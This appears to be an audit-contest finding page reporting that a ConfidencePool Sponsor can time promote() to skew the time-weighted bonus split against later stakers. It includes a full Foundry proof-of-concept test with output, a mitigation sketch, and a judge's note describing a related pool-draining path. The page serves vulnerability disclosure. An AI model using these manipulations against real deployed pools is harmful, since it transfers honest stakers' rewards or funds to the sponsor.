FoundrySolidityLayer 2
7.25 ETH
Submission Details
Severity: medium
Valid

# Pool Sponsor can rig the k=2 bonus split in their own favor via `promote()` timing (AttackRegistry `attackModerator`)

Author Revealed upon completion

Summary


This shares its root cause with the already-submitted High (REPORT_sponsor_attackModerator_corruption.md): the Pool Sponsor is, by construction of ConfidencePoolFactory.createPool's agreement.owner() == msg.sender check plus the out-of-scope AttackRegistry's _registerAgreement (attackModerator = agreementOwner), automatically the registry's attackModerator for their own agreement. That High used markCorrupted() to drain the whole pool. This is a distinct, separate impact of the same undocumented privilege: the Sponsor also controls promote()/cancelPromotion() -both onlyAttackModerator, no DAO involvement - which determines exactly when the registry reaches the terminal PRODUCTION state. That timestamp becomes T (riskWindowEnd), the upper bound in ConfidencePool's k=2 time-weighted bonus formula.


By staking early themselves and then rushing promote() the instant a later, genuinely-committed honest staker locks in (withdraw is disabled from UNDER_ATTACK onward), the Sponsor seals a small T that mathematically maximizes their own early-entry advantage in the k=2 formula - capturing a wildly disproportionate share of the bonus pool at the honest staker's expense. No principal is ever at risk - this is purely a bonus-distribution manipulation, not a drain.


Root Cause


  • src/ConfidencePoolFactory.sol:82 + lib/battlechain-safe-harbor-contracts/src/AttackRegistry.sol:793 — Sponsor == agreement owner == attackModerator (same as the submitted High).

  • lib/battlechain-safe-harbor-contracts/src/AttackRegistry.sol:300-306 (promote) - onlyAttackModerator, moves UNDER_ATTACKPROMOTION_REQUESTED, and after PROMOTION_DELAY (3 days, line 52) the computed state becomes PRODUCTION. cancelPromotion (lines 311-317) lets the Sponsor revert back to UNDER_ATTACK and re-time a later attempt.

  • src/ConfidencePool.sol:727-734 (_assertDepositsAllowed) - once PROMOTION_REQUESTED is observed, stake()/contributeBonus() freeze immediately, locking in the exact staker cohort the Sponsor wants to skew against.

  • src/ConfidencePool.sol:293-300 (withdraw) - disabled the moment riskWindowStart != 0, so a staker who entered during UNDER_ATTACK cannot escape once they see the Sponsor rushing toward PRODUCTION.

  • src/ConfidencePool.sol:796-798, 819-829 (riskWindowEnd sealing) - T seals at the first observation of the terminal state. docs/DESIGN.md §7's "contested public race" defense (anyone can pokeRiskWindow() the instant a transition happens) is one-directional: it only stops T being pushed later by withholding observation. It cannot stop the Sponsor from choosing to make the transition happen early in the first place - nobody else can call promote() at all.

  • src/ConfidencePool.sol:696-720 (_bonusShare) - the k=2 formula share ∝ amount × (T − entryTime)². For two stakers with different entry times, shrinking T toward the later entrant's timestamp disproportionately shrinks their (T − entry)² term relative to the earlier entrant's - verified with concrete numbers below.


Neither promote, cancelPromotion, nor PROMOTION_DELAY appear anywhere in docs/DESIGN.md (confirmed via grep) - this lever is undocumented. docs/DESIGN.md §3 asserts UNDER_ATTACK entrants earn "~zero bonus," which is only true if T stays large/natural - this finding shows the Sponsor can deliberately force that assumption to fail in the opposite direction, crushing a late entrant's bonus far below what the natural, long risk window would have paid them.


Impact


  • Bonus-pool wealth transfer from honest, genuinely-risk-bearing stakers to the Sponsor, scaling toward ~100% capture the longer a victim waited before staking (see worst-case PoC: a staker who locked in 30 days of real at-risk capital receives only 0.82% of the bonus instead of a fair share, because the Sponsor rushes promote() the moment they commit).

  • No counter-move exists for the victim: deposits are frozen the instant promote() lands, withdrawal is already disabled (riskWindowStart != 0), and pokeRiskWindow() can only seal T at-or-before the current moment - never push it later to restore a fair window.

  • Requires nothing from the victim beyond normal participation (staking mid-window, which the protocol explicitly invites per §3) and nothing from the DAO beyond its routine approveAttack.


Proof of Concept


New scratch test, test/scratch/SponsorPromoteBonusSkewPoC.t.sol (4 tests, all passing), driven against the repo's own MockAttackRegistry (pure ConfidencePool mechanics - the real AttackRegistry's onlyAttackModerator/3-day-delay/cancelPromotion behavior is independently confirmed against the actual source at lib/battlechain-safe-harbor-contracts/src/AttackRegistry.sol:300-317, and exercised upstream by that repo's own test/unit/AttackRegistryTest.t.sol::testPromote, testPromoteUnauthorized, testCancelPromotion, testPromotionDelayIs3Days).


Identical stakers, identical amounts (100e18 each), identical entry times, identical 100e18 bonus pool - the only variable is when the Sponsor lets the registry reach PRODUCTION:


Scenario T (riskWindowEnd) Sponsor bonus Honest bonus
Baseline (natural ~90-day window) start + 90d 51.694e18 (51.69%) 48.306e18 (48.31%)
Attack (Sponsor rushes promote() at day 3 + 3-day delay) start + 6d 80.0e18 (80%) 20.0e18 (20%)
Worst case (victim underwrote 30 days before staking) start + 33d 99.18e18 (99.18%) 0.82e18 (0.82%)




forge test --match-path 'test/scratch/SponsorPromoteBonusSkewPoC.t.sol' -vv
[PASS] testPokeCannotCauseOrEnlargeTransition() (gas: 762417)
[PASS] testPromoteFreezesStakerSet() (gas: 817264)
[PASS] testSponsorSkewsBonusByRushingPromote() (gas: 1781533)
BASELINE T=start+90d sponsorBonus(wei): 51694428489373923032
BASELINE T=start+90d honestBonus (wei): 48305571510626076967
ATTACK T=start+ 6d sponsorBonus(wei): 80000000000000000000
ATTACK T=start+ 6d honestBonus (wei): 20000000000000000000
sponsor share baseline (bps of pool): 5169
sponsor share attack (bps of pool): 8000
[PASS] testWorstCaseLateEntrantCrushedToNearZero() (gas: 950076)
sponsor bonus (wei): 99180327868852459016
honest bonus (wei): 819672131147540983
sponsor share (bps): 9918
honest share (bps): 81
Suite result: ok. 4 passed; 0 failed; 0 skipped

Principal is fully returned in every case (each _claimBonus helper call asserts payout ≥ STAKE) - only the bonus split shifts.


Exclusivity confirmed: testPokeCannotCauseOrEnlargeTransition proves a normal staker's only lever, pokeRiskWindow(), can seal an already-transitioned state but never cause one - the honest staker pokes during UNDER_ATTACK and nothing happens (riskWindowEnd stays 0). Only the Sponsor's attackModerator-gated promote() can initiate the transition at all, and testPromoteFreezesStakerSet confirms deposits (and further bonus contributions) freeze the instant it's called.


Steps to Reproduce


Prerequisites: foundry (forge) installed. This PoC lives directly inside the target repo (test/scratch/) - no separate project needed.


1. Go to the repo root:

cd /Users/utkarshbaghel/audits/2026-07-bc-confidence-pools

2. Run:

forge test --match-path 'test/scratch/SponsorPromoteBonusSkewPoC.t.sol' -vv

3. Actual output obtained (run independently twice, identical both times):

Ran 4 tests for test/scratch/SponsorPromoteBonusSkewPoC.t.sol:SponsorPromoteBonusSkewPoC
[PASS] testPokeCannotCauseOrEnlargeTransition() (gas: 762417)
[PASS] testPromoteFreezesStakerSet() (gas: 817264)
[PASS] testSponsorSkewsBonusByRushingPromote() (gas: 1781533)
Logs:
=============== k=2 BONUS SKEW VIA promote()-TIMING (bonus pool = 100e18) ===============
BASELINE T=start+90d sponsorBonus(wei): 51694428489373923032
BASELINE T=start+90d honestBonus (wei): 48305571510626076967
ATTACK T=start+ 6d sponsorBonus(wei): 80000000000000000000
ATTACK T=start+ 6d honestBonus (wei): 20000000000000000000
honest LOSS (baseline - attack) wei: 28305571510626076967
sponsor GAIN (attack - baseline) wei: 28305571510626076968
sponsor share baseline (bps of pool): 5169
sponsor share attack (bps of pool): 8000
[PASS] testWorstCaseLateEntrantCrushedToNearZero() (gas: 950076)
Logs:
=============== WORST CASE: victim underwrote 30d, T sealed at start+33d ===============
sponsor bonus (wei): 99180327868852459016
honest bonus (wei): 819672131147540983
sponsor share (bps): 9918
honest share (bps): 81
Suite result: ok. 4 passed; 0 failed; 0 skipped; finished in 18.58ms (8.99ms CPU time)
Ran 1 test suite in 27.27ms (18.58ms CPU time): 4 tests passed, 0 failed, 0 skipped (1 total tests)

Attachment for triager: test/scratch/SponsorPromoteBonusSkewPoC.t.sol can be attached directly to the submission alongside this report. Full source below.


// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
/// @title Sponsor promote()-timing bonus-skew PoC
/// @notice Demonstrates that the Sponsor — who is the out-of-scope AttackRegistry `attackModerator`
/// for their own agreement — can skew the k=2 time-weighted BONUS split in their favour by
/// controlling *when* the registry transitions to a terminal state (via `promote()`), which
/// seals the bonus formula's upper bound `T` (= `riskWindowEnd`).
///
/// This is a pure `ConfidencePool` mechanics demonstration, so it drives the registry via
/// the repo's own `MockAttackRegistry`. Each `reg.setAgreementState(...)` call models the
/// registry state that the Sponsor's real, `onlyAttackModerator`-gated `promote()` /
/// `cancelPromotion()` calls produce upstream. (The real `AttackRegistry` is `pragma 0.8.34`
/// while `ConfidencePool` is `pragma 0.8.26` exact, so they cannot co-compile — which is why
/// the repo itself only tests the pool against `MockAttackRegistry`.)
///
/// That the lever is REAL and EXCLUSIVE to the Sponsor is proven upstream against the real
/// contract in `lib/battlechain-safe-harbor-contracts/test/unit/AttackRegistryTest.t.sol`:
/// - `_registerAgreement` sets `attackModerator = agreementOwner` (AttackRegistry.sol:793),
/// and `ConfidencePoolFactory.createPool` requires `agreement.owner() == msg.sender`
/// (ConfidencePoolFactory.sol:82) — so the pool creator (Sponsor) IS the attackModerator.
/// - `testPromote` (L696): owner promote() -> PROMOTION_REQUESTED -> +3d PRODUCTION.
/// - `testPromoteUnauthorized` (L750): a non-moderator's promote() reverts Unauthorized.
/// - `testCancelPromotion` (L773): owner can cancelPromotion() back to UNDER_ATTACK.
contract SponsorPromoteBonusSkewPoC is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant STAKE = 100 * ONE; // sponsor and honest stake the SAME amount
uint256 internal constant BONUS = 100 * ONE; // third-party-seeded bonus pool they split
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
// Realistic production-scale base timestamp (~2025-06-15) so T^2*stake magnitudes are real.
uint256 internal constant START = 1_750_000_000;
MockERC20 internal token;
MockAttackRegistry internal reg;
MockSafeHarborRegistry internal shr;
MockAgreement internal agreementContract;
address internal agreement;
ConfidencePool internal impl;
address internal dao = makeAddr("dao"); // pool outcomeModerator (honest resolver)
address internal sponsor = makeAddr("sponsor"); // agreement owner == attackModerator
address internal honest = makeAddr("honest"); // genuinely-interested late staker
address internal patron = makeAddr("patron"); // third party who seeds the bonus pool
address internal recovery = makeAddr("recovery");
function setUp() public {
vm.warp(START);
token = new MockERC20();
reg = new MockAttackRegistry();
shr = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(sponsor);
agreement = address(agreementContract);
agreementContract.setContractInScope(SCOPE_ACCOUNT, true);
shr.setAttackRegistry(address(reg));
shr.setAgreementValid(agreement, true);
impl = new ConfidencePool();
}
// -------------------------------------------------------------------------------------------
// Core PoC: identical stakers/amounts/entry-times; the ONLY difference is when the Sponsor
// lets the registry reach PRODUCTION (i.e. the value of T). Everything else is held fixed.
// -------------------------------------------------------------------------------------------
function testSponsorSkewsBonusByRushingPromote() external {
// BASELINE — the pool runs its natural, long confidence-testing course: T ~= start + 90d.
(uint256 spBase, uint256 hoBase) = _runScenario(90);
// ATTACK — Sponsor promotes the instant the honest staker is committed (day 3); the 3-day
// PROMOTION_DELAY then seals T ~= start + 6d.
(uint256 spAtk, uint256 hoAtk) = _runScenario(6);
console2.log("=============== k=2 BONUS SKEW VIA promote()-TIMING (bonus pool = 100e18) ===============");
console2.log("BASELINE T=start+90d sponsorBonus(wei):", spBase);
console2.log("BASELINE T=start+90d honestBonus (wei):", hoBase);
console2.log("ATTACK T=start+ 6d sponsorBonus(wei):", spAtk);
console2.log("ATTACK T=start+ 6d honestBonus (wei):", hoAtk);
console2.log("honest LOSS (baseline - attack) wei: ", hoBase - hoAtk);
console2.log("sponsor GAIN (attack - baseline) wei: ", spAtk - spBase);
console2.log("sponsor share baseline (bps of pool): ", (spBase * 10_000) / BONUS);
console2.log("sponsor share attack (bps of pool): ", (spAtk * 10_000) / BONUS);
// --- Quantitative claims ---------------------------------------------------------------
// Attack shares are exactly 80/20: (T-start)^2 : (T-entryHonest)^2 = 6^2 : 3^2 = 36 : 9.
assertEq(spAtk, 80 * ONE, "attack: sponsor takes exactly 80% of bonus");
assertEq(hoAtk, 20 * ONE, "attack: honest gets exactly 20% of bonus");
// Baseline shares are near-even (~51.69 / ~48.31): both entered early relative to a distant T.
assertApproxEqRel(spBase, (516_944 * ONE) / 10_000, 0.001e18, "baseline: sponsor ~51.69%");
assertApproxEqRel(hoBase, (483_056 * ONE) / 10_000, 0.001e18, "baseline: honest ~48.31%");
// The Sponsor's rushed promote() strictly increases their share and strictly decreases the
// honest staker's — a value transfer caused purely by the Sponsor's own timing choice.
assertGt(spAtk, spBase, "sponsor gains from rushing promote");
assertLt(hoAtk, hoBase, "honest loses from the rushed promote");
// ~28.3% of the whole bonus pool is transferred honest -> sponsor.
assertApproxEqRel(hoBase - hoAtk, (283_056 * ONE) / 10_000, 0.001e18, "honest loses ~28.3% of the pool");
assertApproxEqRel(spAtk - spBase, (283_056 * ONE) / 10_000, 0.001e18, "sponsor gains ~28.3% of the pool");
// The whole bonus pool is distributed in both cases (no principal touched — see below).
assertApproxEqAbs(spBase + hoBase, BONUS, 2, "baseline distributes full bonus");
assertApproxEqAbs(spAtk + hoAtk, BONUS, 2, "attack distributes full bonus");
}
/// @notice Worst case: the skew scales toward ~100% as the window runs longer before promote().
/// A staker who underwrote 30 DAYS of genuine at-risk time is crushed to <1% of the bonus
/// because the Sponsor promotes the instant they commit, sealing T just 3 days past entry.
/// Sponsor share = (D+3)^2 / ((D+3)^2 + 3^2), D = days the victim entered after the window
/// opened — here D=30 -> 33^2 : 3^2 = 1089 : 9 = 99.18% : 0.82%.
function testWorstCaseLateEntrantCrushedToNearZero() external {
vm.warp(START);
ConfidencePool p = _deployPool(START + 300 days);
reg.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_stake(p, sponsor, STAKE); // sponsor at the floor: entry == riskWindowStart == START
_contributeBonus(p, patron, BONUS);
// Honest underwrites 30 days of real, locked, at-risk capital before entering.
vm.warp(START + 30 days);
_stake(p, honest, STAKE);
// Sponsor promotes the instant honest commits; 3-day delay seals T == START + 33d.
vm.warp(START + 33 days);
reg.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
p.pokeRiskWindow();
vm.prank(dao);
p.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 sp = _claimBonus(p, sponsor);
uint256 ho = _claimBonus(p, honest);
console2.log("=============== WORST CASE: victim underwrote 30d, T sealed at start+33d ===============");
console2.log("sponsor bonus (wei):", sp);
console2.log("honest bonus (wei):", ho);
console2.log("sponsor share (bps):", (sp * 10_000) / BONUS);
console2.log("honest share (bps):", (ho * 10_000) / BONUS);
// 1089:9 split of the 100e18 pool. Honest gets ~0.82e18 for 30 days of locked risk capital.
assertApproxEqRel(sp, (991_803 * ONE) / 10_000, 0.001e18, "sponsor ~99.18%");
assertApproxEqRel(ho, (8_197 * ONE) / 10_000, 0.001e18, "honest ~0.82%");
assertApproxEqAbs(sp + ho, BONUS, 2, "full bonus distributed, no principal touched");
}
/// @dev Runs one full pool lifecycle with a chosen risk-window length (in days) and returns the
/// bonus each staker walks away with. Stakers, amounts and entry-times are IDENTICAL across
/// runs; only `windowDays` (the terminal moment T the Sponsor forces) changes.
function _runScenario(uint256 windowDays) internal returns (uint256 sponsorBonus, uint256 honestBonus) {
vm.warp(START);
ConfidencePool p = _deployPool(START + 300 days);
// DAO has approved the attack: the agreement is live and attackable (UNDER_ATTACK).
reg.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
// Sponsor stakes as early as possible -> effective entry == riskWindowStart (== START).
_stake(p, sponsor, STAKE); // first observation of UNDER_ATTACK opens the window here
assertEq(p.riskWindowStart(), START, "window opens at sponsor's early stake");
// A third party seeds the bonus pool that the stakers will split.
_contributeBonus(p, patron, BONUS);
// Honest staker enters 3 days into the attack window: voluntary risk capital (DESIGN sec 3).
// Once staked they are LOCKED IN — withdraw is disabled from UNDER_ATTACK onward.
vm.warp(START + 3 days);
_stake(p, honest, STAKE);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
vm.prank(honest);
p.withdraw();
// --- Sponsor forces the terminal moment T = START + windowDays --------------------------
// Sponsor's promote() (attackModerator) would move UNDER_ATTACK -> PROMOTION_REQUESTED and,
// after the 3-day delay, -> PRODUCTION. We fast-forward to the moment PRODUCTION is reached.
vm.warp(START + windowDays * 1 days);
reg.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
// Sponsor seals T at the earliest possible moment via the permissionless poke. (Nobody can
// push T higher: the contested race is one-directional — see testPokeCannotEnlargeT.)
p.pokeRiskWindow();
assertEq(p.riskWindowEnd(), START + windowDays * 1 days, "T sealed at forced terminal moment");
// Honest DAO resolves SURVIVED (the agreement reached PRODUCTION). Sponsor needs no control
// over the outcome flag — only over promote() timing, which already sealed T.
vm.prank(dao);
p.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(p.outcomeFlaggedAt()), START + windowDays * 1 days, "T (=outcomeFlaggedAt)");
sponsorBonus = _claimBonus(p, sponsor);
honestBonus = _claimBonus(p, honest);
// No principal loss: each staker recovers their full 100e18 stake on top of the bonus.
// (_claimBonus asserts payout - STAKE == bonus, i.e. principal == STAKE, internally.)
}
// -------------------------------------------------------------------------------------------
// Supporting claims about EXCLUSIVITY of the lever.
// -------------------------------------------------------------------------------------------
/// @notice promote() freezes the staker set: the instant the Sponsor promotes, deposits stop.
function testPromoteFreezesStakerSet() external {
ConfidencePool p = _deployPool(START + 300 days);
reg.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_stake(p, sponsor, STAKE);
_stake(p, honest, STAKE);
// Sponsor calls promote() -> PROMOTION_REQUESTED. _assertDepositsAllowed now blocks deposits.
reg.setAgreementState(IAttackRegistry.ContractState.PROMOTION_REQUESTED);
token.mint(patron, STAKE);
vm.startPrank(patron);
token.approve(address(p), STAKE);
vm.expectRevert(IConfidencePool.StakingClosed.selector);
p.stake(STAKE);
vm.stopPrank();
// contributeBonus is frozen too, so nobody can dilute the sealed configuration.
vm.startPrank(patron);
token.approve(address(p), STAKE);
vm.expectRevert(IConfidencePool.StakingClosed.selector);
p.contributeBonus(STAKE);
vm.stopPrank();
}
/// @notice A normal staker has NO ConfidencePool entrypoint that forces an early terminal state.
/// pokeRiskWindow only SEALS the already-observed state; it never CAUSES a transition,
/// and it can only pull T earlier (never later) once PRODUCTION is reached.
function testPokeCannotCauseOrEnlargeTransition() external {
ConfidencePool p = _deployPool(START + 300 days);
reg.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_stake(p, sponsor, STAKE);
// Honest staker pokes as hard as they like during UNDER_ATTACK: the state stays
// UNDER_ATTACK, riskWindowEnd stays 0. They cannot manufacture a PRODUCTION transition.
vm.warp(START + 3 days);
_stake(p, honest, STAKE);
vm.prank(honest);
p.pokeRiskWindow();
assertEq(p.riskWindowEnd(), 0, "poke cannot cause a terminal transition");
// Only the Sponsor's promote() (modeled here) moves the registry to PRODUCTION. Once there,
// any poke can only seal T at/after that moment; the honest party cannot push T higher to
// dilute the Sponsor's early-entry advantage.
vm.warp(START + 6 days);
reg.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(honest);
p.pokeRiskWindow(); // honest, wanting a LARGE T, is forced to seal the SMALL one
assertEq(p.riskWindowEnd(), START + 6 days, "T sealed small; honest cannot enlarge it");
}
// -------------------------------------------------------------------------------------------
// helpers
// -------------------------------------------------------------------------------------------
function _deployPool(uint256 expiry) internal returns (ConfidencePool p) {
p = ConfidencePool(Clones.clone(address(impl)));
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
p.initialize(agreement, address(token), address(shr), dao, expiry, ONE, recovery, sponsor, scope);
}
function _stake(ConfidencePool p, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(p), amount);
p.stake(amount);
vm.stopPrank();
}
function _contributeBonus(ConfidencePool p, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(p), amount);
p.contributeBonus(amount);
vm.stopPrank();
}
function _claimBonus(ConfidencePool p, address user) internal returns (uint256 bonus) {
uint256 before = token.balanceOf(user);
vm.prank(user);
p.claimSurvived();
uint256 payout = token.balanceOf(user) - before;
assertGe(payout, STAKE, "principal fully returned (no principal loss)");
bonus = payout - STAKE;
}
}

Recommended Mitigation


Same family of fix as the submitted High - don't let a registry-level transition initiated by an address that equals the pool's own owner() silently become the trusted T anchor for bonus distribution:


function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
...
if (riskWindowEnd == 0 && _isTerminalState(state)) {
+ // If the agreement's attackModerator is the pool's own Sponsor, a PRODUCTION transition
+ // may have been unilaterally timed by them (via promote()) to bias the k=2 bonus split.
+ // Consider requiring outcomeModerator confirmation before trusting T from such a pool,
+ // or anchoring T to something the Sponsor cannot unilaterally time (e.g. a minimum
+ // elapsed-time floor from riskWindowStart before T can seal).
_markRiskWindowEnd();
}
}

A minimum-elapsed-time floor (e.g., T cannot seal before riskWindowStart + MIN_RISK_WINDOW) is likely the simplest fix that doesn't require plumbing attackModerator lookups into the pool at all - it directly caps how early a rushed promote() can shrink T, bounding the worst-case skew regardless of who controls the timing.

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Sponsor is their own agreement's attackModerator, so a no-breach markCorrupted() lets claimExpired's auto-CORRUPTED backstop sweep the whole pool to their recoveryAddress

Impact- High Every token in the pool leaves: all staker principal plus the entire bonus, sent to an address the sponsor picked and can still change after people have deposited. Stakers have no defense once it starts, because withdraw is dead the moment riskWindowStart seals, and the mechanical resolution sets claimsStarted, which locks the moderator out of any later correction. Likelihood - Very Low The sponsor holds the role by default on every pool, and markCorrupted carries no penalty since it leaves the bond claimable, so arming this is free and unilateral once the DAO has approved the agreement into UNDER_ATTACK. What it still needs is the pool's outcome moderator staying silent for the whole term plus the 180-day grace, and one flagOutcome(SURVIVED) call anywhere in that stretch defeats it outright.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!